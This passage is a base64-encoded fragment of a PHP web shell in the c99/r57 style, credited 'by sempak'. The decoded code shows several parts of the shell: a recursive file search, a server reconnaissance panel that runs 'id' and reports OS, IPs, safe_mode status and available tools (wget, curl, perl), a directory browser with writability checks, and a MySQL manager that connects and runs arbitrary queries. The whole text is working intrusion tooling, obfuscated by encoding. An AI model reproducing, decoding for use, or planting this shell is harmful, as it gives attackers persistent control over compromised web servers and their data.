pX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Q7DQogICAgICBnbG9iYWwgJGE7DQogICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYoJGYgIT0gIi4iICYmICRmICE9ICIuLiIpIHsNCiAgICAgICAgICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7DQogICAgICAgICAgaWYgKGlzX2RpcigkZC4kZikpIHsNCiAgICAgICAgICAgICRzZWFyY2hfaV9kKys7DQogICAgICAgICAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgICAgICAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Y2Fmc2VhcmNoKCRkLiRmKTt9DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHNlYXJjaF9pX2YrKzsNCiAgICAgICAgICAgIGlmICgkYm9vbCkgew0KICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhWyJ0ZXh0Il0pKSB7DQogICAgICAgICAgICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICAgICAgICAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQ0KICAgICAgICAgICAgICAgIGlmICghJGFbInRleHRfY3MiXSkgeyRhWyJ0ZXh0Il0gPSBzdHJ0b2xvd2VyKCRhWyJ0ZXh0Il0pOyAkciA9IHN0cnRvbG93ZXIoJHIpO30NCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQ0KICAgICAgICAgICAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30NCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfbm90Il0pIHskYm9vbCA9ICEkYm9vbDt9DQogICAgICAgICAgICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBjbG9zZWRpcigkaCk7DQogICAgfQ0KICB9DQogIGlmICgkeCA9PSAiZ29maWxlIikgew0KICAgIGlmIChpc19kaXIoJGYpKSB7ICR4ID0gImxzIjsgJGQgPSAkZjsgfQ0KICAgIGVsc2UgeyAkeCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRmKTsgJGYgPSBiYXNlbmFtZSgkZik7IH0NCiAgfQ0KICBAb2Jfc3RhcnQoKTsNCiAgQG9iX2ltcGxpY2l0X2ZsdXNoKDApOw0KICBmdW5jdGlvbiBvbnBocHNodXRkb3duKCkgew0KICAgIGdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7DQogICAgaWYgKCFoZWFkZXJzX3NlbnQoKSBhbmQgJGd6aXBlbmNvZGUgYW5kICFpbl9hcnJheSgkZnQsYXJyYXkoImltZyIsImRvd25sb2FkIiwibm90ZXBhZCIpKSkgew0KICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgICBAb2Jfc3RhcnQoIm9iX2d6SGFuZGxlciIpOw0KICAgICAgZWNobyAkdjsNCiAgICAgIEBvYl9lbmRfZmx1c2goKTsNCiAgICB9DQogIH0NCiAgZnVuY3Rpb24gY2Fwcml2OGV4aXQoKSB7DQogICAgb25waHBzaHV0ZG93bigpOw0KICAgIGV4aXQ7DQogIH0NCiAgaGVhZGVyKCJFeHBpcmVzOiBNb24sIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOw0KICBoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7DQogIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCiAgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIiwgRkFMU0UpOw0KICBoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCiAgaWYgKGVtcHR5KCR0bXBkaXIpKSB7DQogICAgJHRtcGRpciA9IGluaV9nZXQoInVwbG9hZF90bXBfZGlyIik7DQogICAgaWYgKGlzX2RpcigkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30NCiAgfQ0KICAkdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7DQogICR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7DQogIGlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9DQogIGVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQ0KICBmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkgew0KICAgIGlmICgkc3RhdD09Im9uIikgeyByZXR1cm4gIjxmb250IGNvbG9yPSMwMEZGMDA+PGI+T048L2I+PC9mb250PiI7IH0NCiAgICBlbHNlIHsgcmV0dXJuICI8Zm9udCBjb2xvcj0jRkY5OTAwPjxiPk9GRjwvYj48L2ZvbnQ+IjsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RwZXJsKCkgew0KICAgIGlmIChleCgncGVybCAtaCcpKSB7IHJldHVybiBzaG93c3RhdCgib24iKTsgfQ0KICAgIGVsc2UgeyByZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9DQogIH0NCiAgZnVuY3Rpb24gdGVzdGZldGNoKCkgew0KICAgIGlmKGV4KCdmZXRjaCAtLWhlbHAnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3R3Z2V0KCkgew0KICAgIGlmIChleCgnd2dldCAtLWhlbHAnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RvcmFjbGUoKSB7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3Rwb3N0Z3Jlc3FsKCkgew0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3Rtc3NxbCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiB0ZXN0Y3VybCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkgeyByZXR1cm4gc2hvd3N0YXQoIm9uIik7IH0NCiAgICBlbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHRlc3RteXNxbCgpIHsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHsgcmV0dXJuIHNob3dzdGF0KCJvbiIpOyB9DQogICAgZWxzZSB7IHJldHVybiBzaG93c3RhdCgib2ZmIik7IH0NCiAgfQ0KICBmdW5jdGlvbiBzaG93ZGlzYWJsZWZ1bmN0aW9ucygpIHsNCiAgICBpZiAoJGRpc2FibGVmdW5jPUBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKXsgcmV0dXJuICI8Zm9udCBjb2xvcj0jRkY5OTAwPjxiPiIuJGRpc2FibGVmdW5jLiI8L2I+PC9mb250PiI7IH0NCiAgICBlbHNlIHsgcmV0dXJuICI8Zm9udCBjb2xvcj0jMDBGRjAwPjxiPk5PTkU8L2I+PC9iPjwvZm9udD4iOyB9DQogIH0NCiAgaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgew0KICAgICRzYWZlbW9kZSA9IFRSVUU7DQogICAgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj0jMzM2NkZGPjxiPlNBRkUgTU9ERSBpcyBPTiAoU2VjdXJlKTwvYj48L2ZvbnQ+IjsNCiAgfQ0KICBlbHNlIHsNCiAgICAkc2FmZW1vZGUgPSBGQUxTRTsNCiAgICAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPSNGRjk5MDA+PGI+U0FGRSBNT0RFIGlzIE9GRiAoTm90IFNlY3VyZSk8L2I+PC9mb250PiI7DQogIH0NCiAgJHYgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQogIGlmICgkdiBvciBzdHJ0b2xvd2VyKCR2KSA9PSAib24iKSB7DQogICAgJG9wZW5iYXNlZGlyID0gVFJVRTsNCiAgICAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPXJlZD4iLiR2LiI8L2ZvbnQ+IjsNCiAgfQ0KICBlbHNlIHsNCiAgICAkb3BlbmJhc2VkaXIgPSBGQUxTRTsNCiAgICAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPWdyZWVuPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+IjsNCiAgfQ0KICAkc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOw0KICBpZiAoZW1wdHkoJHNvcnQpKSB7JHNvcnQgPSAkc29ydF9kZWZhdWx0O30NCiAgJHNvcnRbMV0gPSBzdHJ0b2xvd2VyKCRzb3J0WzFdKTsNCiAgJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsNCiAgaWYgKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJERJU1BfU0VSVkVSX1NPRlRXQVJFKSkgeyRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQSFAvIi5waHB2ZXJzaW9uKCk7fQ0KICAkRElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigpLCI8YSBocmVmPVwiIi4kc3VybC4ieD1waHBpbmZvXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+PHU+UEhQLyIucGhwdmVyc2lvbigpLiI8L3U+PC9iPjwvYT4iLGh0bWxzcGVjaWFsY2hhcnMoJERJU1BfU0VSVkVSX1NPRlRXQVJFKSk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuYmciLCRoaWdobGlnaHRfYmcpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmNvbW1lbnQiLCRoaWdobGlnaHRfY29tbWVudCk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwkaGlnaGxpZ2h0X2h0bWwpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmtleXdvcmQiLCRoaWdobGlnaHRfa2V5d29yZCk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7DQogIGlmICghaXNfYXJyYXkoJGFjdGJveCkpIHsgJGFjdGJveCA9IGFycmF5KCk7IH0NCiAgJGRzcGFjdCA9ICR4ID0gaHRtbHNwZWNpYWxjaGFycygkeCk7DQogICRkaXNwX2Z1bGxwYXRoID0gJGxzX2FyciA9ICRub3RscyA9IG51bGw7DQogICR1ZCA9IHVybGVuY29kZSgkZCk7DQogICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9DQogIGVsc2VpZihyZWFscGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9DQogICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAkZCA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRkKTsNCiAgJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7DQplY2hvICRodG1sX3N0YXJ0Ow0KZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXIyPjxoMz4kc2hfbmFtZTwvaDM+PGZvbnQgY29sb3I9bGltZT5ieSBzZW1wYWs8L2ZvbnQ+PC9kaXY+PGhyIGNvbG9yPXNpbHZlcj5cbiI7DQplY2hvICI8dGFibGUgaWQ9cGFnZWJhcj48dHI+PHRkIHdpZHRoPTUwJT48cD4iLg0KICAgICAiU29mdHdhcmUgOiAiLiRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuIiAtIDxhIGhyZWY9Ii4kc3VybC4ieD1waHBpbmk+cGhwLmluaTwvYT48YnI+Ii4NCiAgICAgIiRoc2FmZW1vZGU8YnI+Ii4NCiAgICAgIk9TIDogIi5waHBfdW5hbWUoKS4iPGJyPiI7DQppZiAoISR3aW4pIHsgZWNobyAiVXNlciBJRCA6ICIubXlzaGVsbGV4ZWMoImlkIik7IH0NCmVsc2UgeyBlY2hvICJVc2VyIDogIiAuIGdldF9jdXJyZW50X3VzZXIoKTsgfQ0KZWNobyAiPC9wPjwvdGQ+Ii4NCiAgICAgIjx0ZCB3aWR0aD01MCU+PHA+U2VydmVyIElQIDogPGEgaHJlZj1odHRwOi8vd3d3LmlwLWFkcmVzcy5jb20vIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9hPiAtICIuDQogICAgICJZb3VyIElQIDogPGEgaHJlZj1odHRwOi8vd3d3LmlwLWFkcmVzcy5jb20vIi4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPiIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIjwvYT48YnI+IjsNCmlmKCR3aW4pe2VjaG8gIkRyaXZlcyA6ICIuZGlzcF9kcml2ZXMoJGQsJHN1cmwpLiI8YnI+Ijt9DQplY2hvICJGcmVlc3BhY2UgOiAiLmRpc3BfZnJlZXNwYWNlKCRkKTsNCmVjaG8gIjwvcD48L3RkPjwvdHI+IjsNCmVjaG8gIjx0cj48dGQgY29sc3Bhbj0yPjxwPiI7DQplY2hvICJNeVNRTDogIi50ZXN0bXlzcWwoKS4iIE1TU1FMOiAiLnRlc3Rtc3NxbCgpLiIgT3JhY2xlOiAiLnRlc3RvcmFjbGUoKS4iIE1TU1FMOiAiLnRlc3Rtc3NxbCgpLiIgUG9zdGdyZVNRTDogIi50ZXN0cG9zdGdyZXNxbCgpLg0KICAgICAiIGNVUkw6ICIudGVzdGN1cmwoKS4iIFdHZXQ6ICIudGVzdHdnZXQoKS4iIEZldGNoOiAiLnRlc3RmZXRjaCgpLiIgUGVybDogIi50ZXN0cGVybCgpLiI8YnI+IjsNCmVjaG8gIkRpc2FibGVkIEZ1bmN0aW9uczogIi5zaG93ZGlzYWJsZWZ1bmN0aW9ucygpOw0KZWNobyAiPC9wPjwvdGQ+PC90cj4iOw0KZWNobyAiPHRyPjx0ZCBjb2xzcGFuPTIgaWQ9bWFpbm1lbnU+IjsNCmlmIChjb3VudCgkcXVpY2tsYXVuY2gyKSA+IDApIHsNCiAgZm9yZWFjaCgkcXVpY2tsYXVuY2gyIGFzICRpdGVtKSB7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgICBpZiAoZW1wdHkoJHYpKSB7DQogICAgICAkYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICB1bnNldCgkYVtjb3VudCgkYSktMl0pOw0KICAgICAgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpOw0KICAgIH0NCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPlxuIjsNCiAgfQ0KfQ0KZWNobyAiPC90ZD48dHI+PHRkIGNvbHNwYW49MiBpZD1tYWlubWVudT4iOw0KaWYgKGNvdW50KCRxdWlja2xhdW5jaDEpID4gMCkgew0KICBmb3JlYWNoKCRxdWlja2xhdW5jaDEgYXMgJGl0ZW0pIHsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsNCiAgICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICAgIGlmIChlbXB0eSgkdikpIHsNCiAgICAgICRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7DQogICAgICAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7DQogICAgfQ0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOw0KICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+XG4iOw0KICB9DQp9DQplY2hvICI8L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPTI+IjsNCmVjaG8gIjxwIGNsYXNzPWZsZWZ0PiI7DQokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCwtMSkpOw0KJGkgPSAwOw0KZm9yZWFjaCgkcGQgYXMgJGIpIHsNCiAgJHQgPSAiIjsgJGogPSAwOw0KICBmb3JlYWNoICgkZSBhcyAkcikgew0KICAgICR0Lj0gJHIuRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICBpZiAoJGogPT0gJGkpIHsgYnJlYWs7IH0NCiAgICAkaisrOw0KICB9DQogIGVjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii51cmxlbmNvZGUoJHQpLiImc29ydD0iLiRzb3J0LiJcIj48Zm9udCBjb2xvcj1yZWQ+Ii5odG1sc3BlY2lhbGNoYXJzKCRiKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiI8L2ZvbnQ+PC9hPiI7DQogICRpKys7DQp9DQplY2hvICIgLSAiOw0KaWYgKGlzX3dyaXRhYmxlKCRkKSkgew0KICAkd2QgPSBUUlVFOw0KICAkd2R0ID0gIjxmb250IGNvbG9yPSMwMEZGMDA+W09LXTwvZm9udD4iOw0KICBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+IjsNCn0NCmVsc2Ugew0KICAkd2QgPSBGQUxTRTsNCiAgJHdkdCA9ICI8Zm9udCBjb2xvcj1yZWQ+W1JlYWQtT25seV08L2ZvbnQ+IjsNCiAgZWNobyAiPGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPiI7DQp9DQo/Pg0KPC9wPg0KPGRpdiBjbGFzcz1mcmlnaHQ+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibHMiPg0KRGlyZWN0b3J5OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj4NCjwvZm9ybT4NCjwvZGl2Pg0KPC90ZD48L3RyPjwvdGFibGU+DQo8P3BocA0KZWNobyAiPHRhYmxlIGlkPW1haW5pbmZvPjx0cj48dGQgd2lkdGg9XCIxMDAlXCI+XG4iOw0KaWYgKCR4ID09ICIiKSB7ICR4ID0gJGRzcGFjdCA9ICJscyI7IH0NCmlmICgkeCA9PSAicGhwaW5pIiApIHsgZ2V0X3BocGluaSgpOyB9DQppZiAoJHggPT0gInNxbCIpIHsNCiAgJHNxbF9zdXJsID0gJHN1cmwuIng9c3FsIjsNCiAgaWYgKCRzcWxfbG9naW4pICB7JHNxbF9zdXJsIC49ICImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTt9DQogIGlmICgkc3FsX3Bhc3N3ZCkgeyRzcWxfc3VybCAuPSAiJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTt9DQogIGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9DQogIGlmICgkc3FsX3BvcnQpICAgeyRzcWxfc3VybCAuPSAiJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpO30NCiAgaWYgKCRzcWxfZGIpICAgICB7JHNxbF9zdXJsIC49ICImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTt9DQogICRzcWxfc3VybCAuPSAiJiI7DQogIGVjaG8gIjx0YWJsZT4iLg0KICAgICAgICI8dHI+PHRkIHdpZHRoPVwiMTAwJVwiIGNvbHNwYW49MiBjbGFzcz1iYXJoZWFkZXI+IjsNCiAgaWYgKCRzcWxfc2VydmVyKSB7DQogICAgJHNxbF9zb2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3Bhc3N3ZCk7DQogICAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgICBAbXlzcWxfc2VsZWN0X2RiKCRzcWxfZGIsJHNxbF9zb2NrKTsNCiAgICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgfQ0KICBlbHNlIHskc3FsX3NvY2sgPSBGQUxTRTt9DQogIGVjaG8gIi46IFNRTCBNYW5hZ2VyIDouPGJyPiI7DQogIGlmICghJHNxbF9zb2NrKSB7DQogICAgaWYgKCEkc3FsX3NlcnZlcikge2VjaG8gIk5PIENPTk5FQ1RJT04iO30NCiAgICBlbHNlIHtlY2hvICJDYW4ndCBjb25uZWN0ISAiLiRlcnI7fQ0KICB9DQogIGVsc2Ugew0KICAgICRzcWxxdWlja2xhdW5jaCA9IGFycmF5KCk7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiSW5kZXgiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiKTsNCiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJRdWVyeSIsJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyLXN0YXR1cyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXNlcnZlcnN0YXR1cyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlciB2YXJpYWJsZXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJ2YXJzIik7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3g9cHJvY2Vzc2VzIik7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiTG9nb3V0Iiwkc3VybC4ieD1zcWwiKTsNCiAgICBlY2hvICJNeVNRTCAiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIgKHByb3RvIHYuIi5teXNxbF9nZXRfcHJvdG9faW5mbyAoKS4iKSBydW5uaW5nIGluICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIjoiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iIGFzICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iQCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiAocGFzc3dvcmQgLSBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiKTxicj4iOw0KICAgIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiBdICI7fX0NCiAgfQ0KICBlY2hvICI8L3RkPjwvdHI+PHRyPiI7